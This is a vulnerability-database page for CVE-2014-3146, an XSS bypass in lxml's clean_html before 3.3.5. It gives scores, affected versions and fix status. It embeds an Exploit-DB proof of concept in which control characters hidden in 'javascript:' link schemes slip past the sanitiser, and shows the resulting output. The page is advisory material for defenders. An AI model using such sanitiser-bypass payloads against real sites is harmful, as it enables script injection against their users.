CVE-2014-3146

medium
Published 2022-05-14 ยท Modified 2023-11-08
CVSS v3
6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
7.1

Description

Incomplete blacklist vulnerability in the lxml.html.clean module in lxml before 3.3.5 allows remote attackers to conduct cross-site scripting (XSS) attacks via control characters in the link scheme to the clean_html function.

Predictions

Exploit likelihood
71%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-39155 remote linux verified text ยท 1 KB
Maksim Kochkin ยท 2014-04-15

lxml - 'clean_html' Security Bypass

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/67159/info

lxml is prone to a security-bypass vulnerability.

An attacker can leverage this issue to bypass security restrictions and perform unauthorized actions. This may aid in further attacks.

Versions prior to lxml 3.3.5 are vulnerable. 

from lxml.html.clean import clean_html

html = '''\
<html>
<body>
<a href="javascript:alert(0)">
aaa</a>
<a href="javas\x01cript:alert(1)">bbb</a>
<a href="javas\x02cript:alert(1)">bbb</a>
<a href="javas\x03cript:alert(1)">bbb</a>
<a href="javas\x04cript:alert(1)">bbb</a>
<a href="javas\x05cript:alert(1)">bbb</a>
<a href="javas\x06cript:alert(1)">bbb</a>
<a href="javas\x07cript:alert(1)">bbb</a>
<a href="javas\x08cript:alert(1)">bbb</a>
<a href="javas\x09cript:alert(1)">bbb</a>
</body>
</html>'''

print clean_html(html)


Output:

<div>
<body>
<a href="">aaa</a>
<a href="javascript:alert(1)">
bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="">bbb</a>
</body>
</div>

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 3.3.5-1
sid Fixed 3.3.5-1
forky Fixed 3.3.5-1
bullseye Fixed 3.3.5-1
bookworm Fixed 3.3.5-1

Package impact

EcosystemPackageVulnerableFixed
python PyPIlxml<3.3.53.3.5

Application impact

VendorProductVersionsFixed
lxmllxml{"endIncluding":"3.3.4"}
lxmllxml0.5
lxmllxml0.5.1
lxmllxml0.6
lxmllxml0.7
lxmllxml0.8
lxmllxml0.9
lxmllxml0.9.1
lxmllxml0.9.2
lxmllxml1.0
lxmllxml1.0.1
lxmllxml1.0.2
lxmllxml1.0.3
lxmllxml1.0.4
lxmllxml1.1
lxmllxml1.1.1
lxmllxml1.1.2
lxmllxml1.2
lxmllxml1.2.1
lxmllxml1.3
lxmllxml1.3.1
lxmllxml1.3.2
lxmllxml1.3.3
lxmllxml1.3.4
lxmllxml1.3.5
lxmllxml1.3.6
lxmllxml2.0
lxmllxml2.0.1
lxmllxml2.0.2
lxmllxml2.0.3
lxmllxml2.0.4
lxmllxml2.0.5
lxmllxml2.0.6
lxmllxml2.0.7
lxmllxml2.0.8
lxmllxml2.0.9
lxmllxml2.0.10
lxmllxml2.0.11
lxmllxml2.1
lxmllxml2.1.1
lxmllxml2.1.2
lxmllxml2.1.3
lxmllxml2.1.4
lxmllxml2.2
lxmllxml2.2.1
lxmllxml2.2.2
lxmllxml2.2.3
lxmllxml2.2.4
lxmllxml2.2.5
lxmllxml2.2.6
lxmllxml2.2.7
lxmllxml2.2.8
lxmllxml2.3
lxmllxml2.3.1
lxmllxml2.3.2
lxmllxml2.3.3
lxmllxml2.3.4
lxmllxml2.3.5
lxmllxml2.3.6
lxmllxml3.0
lxmllxml3.0.1
lxmllxml3.0.2
lxmllxml3.1
lxmllxml3.1.0
lxmllxml3.1.1
lxmllxml3.1.2
lxmllxml3.2.0
lxmllxml3.2.1
lxmllxml3.2.2
lxmllxml3.2.3
lxmllxml3.2.4
lxmllxml3.2.5
lxmllxml3.3.0
lxmllxml3.3.1
lxmllxml3.3.2
lxmllxml3.3.3

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.